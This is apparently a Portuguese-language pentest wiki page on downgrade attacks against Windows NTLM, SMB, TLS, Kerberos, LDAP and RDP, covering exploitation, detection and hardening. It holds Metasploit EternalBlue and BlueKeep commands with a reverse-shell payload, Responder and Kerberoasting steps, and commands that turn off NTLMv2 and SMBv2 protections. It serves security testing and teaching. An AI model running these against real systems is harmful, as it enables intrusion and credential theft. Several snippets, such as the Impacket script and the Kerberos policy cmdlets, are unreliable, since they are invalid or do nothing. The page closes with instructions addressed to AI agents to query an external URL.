# Downgrade Attacks

## 📑 **Índice**

1. [Fundamentos dos Downgrade Attacks no Windows](#-fundamentos-dos-downgrade-attacks-no-windows)
2. [Tipos de Ataques de Downgrade](#-tipos-de-ataques-de-downgrade)
3. [Protocolos e Serviços Vulneráveis](#-protocolos-e-serviços-vulneráveis)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas e Análise](#-ferramentas-e-análise)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos dos Downgrade Attacks no Windows**

### **O que é um Ataque de Downgrade no Windows?**

Um ataque de downgrade no Windows é uma técnica que força o sistema, serviço ou conexão a usar versões mais antigas e inseguras de protocolos, algoritmos de criptografia ou mecanismos de autenticação. O objetivo é explorar vulnerabilidades conhecidas que foram corrigidas em versões posteriores.

### **Por que o Windows é Vulnerável?**

```yaml
Razões para vulnerabilidade:
  Compatibilidade retroativa:
    - Windows mantém suporte a protocolos antigos
    - Necessidade de interoperabilidade com sistemas legados
    - Configurações padrão muitas vezes inseguras
  
  Complexidade:
    - Múltiplos protocolos de autenticação (NTLM, Kerberos)
    - Diversas versões de SMB (1.0, 2.0, 3.0)
    - TLS/SSL com versões antigas habilitadas
    - Algoritmos de criptografia obsoletos
```

### **Princípio do Ataque**

```mermaid
graph LR
    A[Cliente solicita segurança máxima] --> B[Atacante intercepta/modifica]
    B --> C[Servidor oferece versão antiga]
    C --> D[Conexão estabelecida com protocolo inseguro]
    D --> E[Atacante explora vulnerabilidades]
```

***

## 🎯 **Tipos de Ataques de Downgrade**

### **1. NTLM Downgrade Attack**

#### **NTLM Authentication Flow**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant S as Servidor
    participant A as Atacante (MITM)

    C->>S: Negotiate Protocol
    A->>A: Modifica mensagem
    S->>C: Challenge (NTLMv1)
    C->>S: Response (NTLMv1)
    A->>A: Captura hash NTLMv1
    
    Note over A: Hash NTLMv1 pode ser quebrado<br/>em minutos com ferramentas modernas
```

#### **Exploração NTLM Downgrade**

```powershell
# Verificar configuração NTLM atual
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel"

# Forçar downgrade via política de grupo
# Valores LmCompatibilityLevel:
# 0 - Enviar LM e NTLM (mais inseguro)
# 1 - Enviar LM e NTLM (se negociado)
# 2 - Enviar apenas NTLM
# 3 - Enviar apenas NTLMv2 (recomendado)
# 4 - Enviar apenas NTLMv2 (recusar LM)
# 5 - Enviar apenas NTLMv2 (recusar LM e NTLM)

# Ferramentas de ataque
# Responder.py - Forçar downgrade NTLM
responder -I eth0 -wF

# Inveigh - PowerShell tool
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y
```

### **2. SMB Downgrade Attack**

#### **SMB Versions e Vulnerabilidades**

| Versão      | Ano  | Características                            | Vulnerabilidades                      |
| ----------- | ---- | ------------------------------------------ | ------------------------------------- |
| **SMB 1.0** | 1984 | Sem criptografia, sem autenticação forte   | EternalBlue, EternalRomance, WannaCry |
| **SMB 2.0** | 2006 | Melhor performance, ainda sem criptografia | Mitigado, mas ainda vulnerável        |
| **SMB 3.0** | 2012 | Criptografia AES-128, autenticação forte   | Seguro (configuração correta)         |

#### **Forçar Downgrade SMB**

```powershell
# Verificar versão SMB ativa
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

# Forçar downgrade via Metasploit
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# Exploração do EternalBlue (CVE-2017-0144)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOST 192.168.1.100
msf6 > exploit

# Forçar autenticação SMBv1
smbclient -L //target -m NT1
```

### **3. TLS/SSL Downgrade Attack**

#### **TLS Versões no Windows**

```powershell
# Verificar versões TLS habilitadas
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols" | 
    Select-Object -ExpandProperty Property

# TLS 1.0 e 1.1 são vulneráveis a:
# - POODLE (CVE-2014-3566)
# - BEAST (CVE-2011-3389)
# - CRIME (CVE-2012-4929)
```

#### **Forçar Downgrade TLS**

```python
#!/usr/bin/env python3
# tls_downgrade_windows.py

import ssl
import socket
import sys

class TLSDowngradeWindows:
    """Forçar downgrade TLS no Windows"""
    
    def __init__(self, target, port=443):
        self.target = target
        self.port = port
    
    def test_tls_version(self, version):
        """Testar versão TLS específica"""
        try:
            context = ssl.SSLContext(version)
            sock = socket.create_connection((self.target, self.port))
            ssock = context.wrap_socket(sock, server_hostname=self.target)
            
            print(f"[+] Conexão bem-sucedida com: {ssock.version()}")
            return True
        except Exception as e:
            print(f"[-] Falha com {version}: {e}")
            return False
    
    def downgrade_attack(self):
        """Executar ataque de downgrade"""
        versions = [
            (ssl.PROTOCOL_SSLv3, "SSLv3"),
            (ssl.PROTOCOL_TLSv1, "TLSv1.0"),
            (ssl.PROTOCOL_TLSv1_1, "TLSv1.1")
        ]
        
        print(f"[*] Testando downgrade TLS em {self.target}:{self.port}")
        
        for ctx, name in versions:
            if self.test_tls_version(ctx):
                print(f"[!] VULNERÁVEL: Servidor aceita {name}")
                return True
        
        print("[+] Servidor seguro - apenas TLSv1.2+")
        return False

# Uso
attacker = TLSDowngradeWindows("target.com")
attacker.downgrade_attack()
```

### **4. Kerberos Downgrade Attack**

```yaml
Kerberos Vulnerabilidades:
  - RC4_HMAC_MD5 (fraco, pode ser quebrado)
  - DES_CBC_MD5 (obsoleto)
  - Export-grade ciphers

Ataques conhecidos:
  - Kerberoasting (força downgrade para RC4)
  - AS-REP Roasting
  - Golden Ticket (manipulação de tickets)
```

#### **Forçar Downgrade Kerberos**

```powershell
# Verificar tipos de encriptação Kerberos
Get-ADDefaultDomainPasswordPolicy

# Forçar downgrade para RC4
Set-ADUser -Identity target_user -KerberosEncryptionType RC4

# Kerberoasting - extrair tickets
# Usando Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request

# Quebrar hash RC4 com hashcat
hashcat -m 13100 -a 0 hash.txt rockyou.txt
```

### **5. LDAP Downgrade Attack**

```powershell
# LDAP com TLS - ataque de downgrade
# Forçar uso de LDAP não criptografado (porta 389)

# Verificar se LDAP simples está disponível
nmap -p 389,636 192.168.1.10

# Explorar LDAP anônimo
ldapsearch -x -H ldap://192.168.1.10 -b "dc=domain,dc=local"
```

### **6. RDP Downgrade Attack**

```yaml
RDP Vulnerabilidades:
  - BlueKeep (CVE-2019-0708) - RDP 5.0-7.0
  - RDP downgrade para versões antigas
  - CredSSP downgrade (CVE-2018-0886)

Ataques:
  - Forçar uso de RDP sem NLA (Network Level Authentication)
  - Downgrade para RDP 5.0 (BlueKeep)
  - Man-in-the-Middle em RDP
```

```powershell
# Verificar versão RDP
Get-WmiObject -Class Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices

# Forçar downgrade via Metasploit
msf6 > use auxiliary/scanner/rdp/rdp_scanner
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# BlueKeep exploit
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Responder – Forçar Autenticação NTLMv1**

```bash
# Instalar Responder
git clone https://github.com/lgandx/Responder
cd Responder

# Executar com todas as opções
python Responder.py -I eth0 -wF

# Forçar downgrade NTLM
python Responder.py -I eth0 --lm

# Modo análise
python Responder.py -I eth0 -A
```

### **2. Metasploit – SMB Downgrade**

```bash
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# EternalBlue Exploit (SMBv1)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOST 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
```

### **3. Impacket – NTLM Downgrade**

```python
#!/usr/bin/env python3
# ntlm_downgrade.py

from impacket import smbconnection
from impacket.ntlm import NTLMAuthNegotiate
import sys

class NTLMDowngrade:
    """Forçar downgrade NTLM para versão mais fraca"""
    
    def __init__(self, target, username, password):
        self.target = target
        self.username = username
        self.password = password
    
    def force_lm_compatibility(self, level=0):
        """Forçar nível de compatibilidade LM"""
        # level 0 = enviar LM e NTLM
        # level 1 = enviar LM e NTLM (se negociado)
        # level 2 = enviar apenas NTLM
        # level 3 = enviar apenas NTLMv2
        # level 4 = apenas NTLMv2 (recusar LM)
        # level 5 = apenas NTLMv2 (recusar LM e NTLM)
        
        print(f"[*] Forçando nível LM: {level}")
        
        # Configurar autenticação
        conn = smbconnection.SMBConnection(self.target, self.target)
        conn.login(self.username, self.password)
        
        # Modificar flags de negociação
        auth = NTLMAuthNegotiate()
        auth.set_flags(0x00000001)  # NTLMSSP_NEGOTIATE_LM_KEY
        
        print("[+] Downgrade NTLM realizado")
        return conn

# Uso
attacker = NTLMDowngrade("192.168.1.100", "user", "pass")
attacker.force_lm_compatibility(0)
```

### **4. PowerShell – Desabilitar Segurança**

```powershell
# Desabilitar TLS 1.2 (forçar downgrade)
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls

# Desabilitar SMBv2/v3 (forçar SMBv1)
Set-SmbServerConfiguration -EnableSMB2Protocol $false

# Desabilitar NTLMv2 (forçar NTLMv1)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 0
```

***

## 🛠️ **Ferramentas e Análise**

### **1. Nmap – Scanning**

```bash
# SMB version scan
nmap -p 445 --script smb-os-discovery,smb-protocols 192.168.1.0/24

# TLS version scan
nmap -p 443 --script ssl-enum-ciphers 192.168.1.100

# RDP scan
nmap -p 3389 --script rdp-enum-encryption 192.168.1.100
```

### **2. TestSSL – TLS Analysis**

```bash
# Testar vulnerabilidades TLS
testssl.sh --vulnerable 192.168.1.100

# Verificar protocolos suportados
testssl.sh --protocols 192.168.1.100

# Testar POODLE
testssl.sh --poodle 192.168.1.100
```

### **3. CrackMapExec – SMB Analysis**

```bash
# Enumerar SMB
cme smb 192.168.1.0/24

# Verificar SMBv1
cme smb 192.168.1.0/24 --gen-relay-list smb_targets.txt

# Testar autenticação NTLM
cme smb 192.168.1.100 -u user -p pass --shares
```

### **4. Scanner Personalizado – NTLM Level**

```powershell
# NTLM Level Scanner
$computers = Get-ADComputer -Filter * | Select -ExpandProperty Name

foreach ($computer in $computers) {
    $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $computer)
    $key = $reg.OpenSubKey("SYSTEM\CurrentControlSet\Control\Lsa")
    $value = $key.GetValue("LmCompatibilityLevel")
    
    if ($value -le 1) {
        Write-Host "[!] $computer - Vulnerável (LM/NTLMv1)" -ForegroundColor Red
    } elseif ($value -eq 2) {
        Write-Host "[*] $computer - Apenas NTLMv1" -ForegroundColor Yellow
    } else {
        Write-Host "[+] $computer - Seguro (NTLMv2)" -ForegroundColor Green
    }
}
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de downgrade attack:
  
  Logs de Autenticação:
    - Eventos de autenticação NTLMv1 (ID 4624 com nível de autenticação 2)
    - Logins com hash LM (identificados em logs)
    - Tentativas de autenticação SMBv1
  
  Logs de Sistema:
    - Eventos de downgrade TLS (SCHANNEL)
    - Ativação de protocolos obsoletos
    - Alterações em configurações de segurança
  
  Tráfego de Rede:
    - Pacotes SMBv1 na rede
    - Tráfego NTLMv1 (identificável por padrões)
    - TLSv1.0 ou SSLv3 handshakes
```

### **Logs a Monitorar**

```powershell
# Eventos de downgrade NTLM
# Event ID 4624: Logon bem-sucedido
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | 
    Where-Object {$_.Message -like "*LmCompatibilityLevel*"} | 
    Select-Object -First 10

# Eventos de downgrade TLS
# SCHANNEL logs (Event ID 36880-36884)
Get-WinEvent -FilterHashtable @{LogName='System'; ProviderName='Schannel'} |
    Where-Object {$_.Message -like "*SSL*" -or $_.Message -like "*TLS*"} |
    Select-Object -First 10

# Eventos SMBv1
# Event ID 1 (SMBv1 client)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-SMBClient/Operational'; ID=1}
```

### **Ferramentas de Detecção**

```powershell
# Enable SMBv1 auditing
Set-SmbServerConfiguration -AuditSmb1Access $true

# Enable NTLM auditing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "AuditNTLM" -Value 1

# Enable TLS logging
# Criar chave de registro para logging
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" -Name "EventLogging" -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" -Name "EventLogging" -Value 1
```

***

## 🛡️ **Mitigação e Hardening**

### **1. Desabilitar Protocolos Obsoletos**

```powershell
# Desabilitar SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "SMB1" -Type DWORD -Value 0 -Force

# Desabilitar TLS 1.0 e 1.1
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" -Force
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client" -Force
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server" -Force
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client" -Force

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" -Name "Enabled" -Value 0
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client" -Name "Enabled" -Value 0
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server" -Name "Enabled" -Value 0
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client" -Name "Enabled" -Value 0

# Forçar TLS 1.2+
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
```

### **2. Hardening NTLM**

```powershell
# Forçar NTLMv2
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "NoLMHash" -Value 1

# Restringir NTLM
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value "Deny for domain servers"

# Auditar NTLM
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "AuditNTLM" -Value 1
```

### **3. Hardening Kerberos**

```powershell
# Desabilitar RC4 e DES
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -KerberosEncryptionType AES256,AES128

# Remover suporte a RC4
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "SupportedEncryptionTypes" -Value 0x18

# Configurar ticket lifetime
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -MaxServiceTicketAge 10:00:00
```

### **4. Hardening RDP**

```powershell
# Forçar Network Level Authentication
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1

# Desabilitar RDP versões antigas
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "AllowRDP" -Value 1

# Configurar TLS para RDP
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "SecurityLayer" -Value 2
```

### **5. Políticas de Grupo (GPO)**

```yaml
Configurações GPO para mitigar downgrade:
  
  Computer Configuration > Policies > Administrative Templates > Network > Lanman Workstation:
    - Enable insecure guest logons: Disabled
    - Enable LM authentication: Disabled
  
  Computer Configuration > Policies > Administrative Templates > Network > Network Provider:
    - Restrict NTLM: Incoming NTLM Traffic
  
  Computer Configuration > Policies > Administrative Templates > System > Credentials Delegation:
    - Allow delegating fresh credentials with NTLM-only server authentication: Disabled
  
  Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options:
    - Network security: LAN Manager authentication level: Send NTLMv2 response only\refuse LM & NTLM
    - Network security: Minimum session security for NTLM SSP: Require NTLMv2 session security
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **SMB**
  * [ ] Desabilitar SMBv1
  * [ ] Forçar SMBv3 com criptografia
  * [ ] Auditar tentativas de SMBv1
* [ ] **NTLM**
  * [ ] Forçar NTLMv2
  * [ ] Desabilitar LM Hash
  * [ ] Restringir NTLM em domínio
* [ ] **TLS/SSL**
  * [ ] Desabilitar SSLv2, SSLv3, TLSv1.0, TLSv1.1
  * [ ] Forçar TLSv1.2+
  * [ ] Configurar ciphers fortes
* [ ] **Kerberos**
  * [ ] Desabilitar RC4 e DES
  * [ ] Forçar AES-256
  * [ ] Configurar ticket lifetimes
* [ ] **RDP**
  * [ ] Forçar NLA
  * [ ] Restringir versões
  * [ ] Usar TLS para RDP

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar versões SMB
  * [ ] Verificar níveis NTLM
  * [ ] Listar protocolos TLS
  * [ ] Verificar configurações Kerberos
* [ ] **Exploração**
  * [ ] Testar downgrade SMBv1
  * [ ] Testar downgrade NTLMv1
  * [ ] Testar downgrade TLS
  * [ ] Testar Kerberoasting
* [ ] **Validação**
  * [ ] Verificar captura de hashes
  * [ ] Confirmar execução de exploits
  * [ ] Documentar vetores encontrados

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Downgrade Attacks no Windows são ameaças críticas:
  ✅ Permitem bypass de mecanismos de segurança
  ✅ Exploram compatibilidade retroativa
  ✅ Podem levar a comprometimento total

Defesas essenciais:
  ❌ Desabilitar protocolos obsoletos
  ✓ Forçar NTLMv2 e SMBv3
  ✓ Configurar TLSv1.2+
  ✓ Aplicar hardening via GPO
  ✓ Monitorar logs regularmente
```

### **Recomendações Finais**

1. **Para Administradores**
   * Desative protocolos obsoletos (SMBv1, TLSv1.0, SSLv3)
   * Force NTLMv2 e criptografia forte
   * Mantenha sistemas atualizados
   * Implemente GPOs de segurança
   * Monitore logs de downgrade
2. **Para Pentesters**
   * Teste todas as versões de protocolo
   * Verifique configurações NTLM
   * Explore downgrade como vetor inicial
   * Documente configurações inseguras
3. **Para Arquitetos**
   * Projete com "secure by default"
   * Implemente defesa em profundidade
   * Planeje migração de sistemas legados
   * Considere zero-trust architecture

**🔐 Lembre-se**: No Windows, a compatibilidade retroativa é o maior inimigo da segurança. Cada protocolo antigo mantido ativo é uma porta de entrada para ataques de downgrade.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/downgrade-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.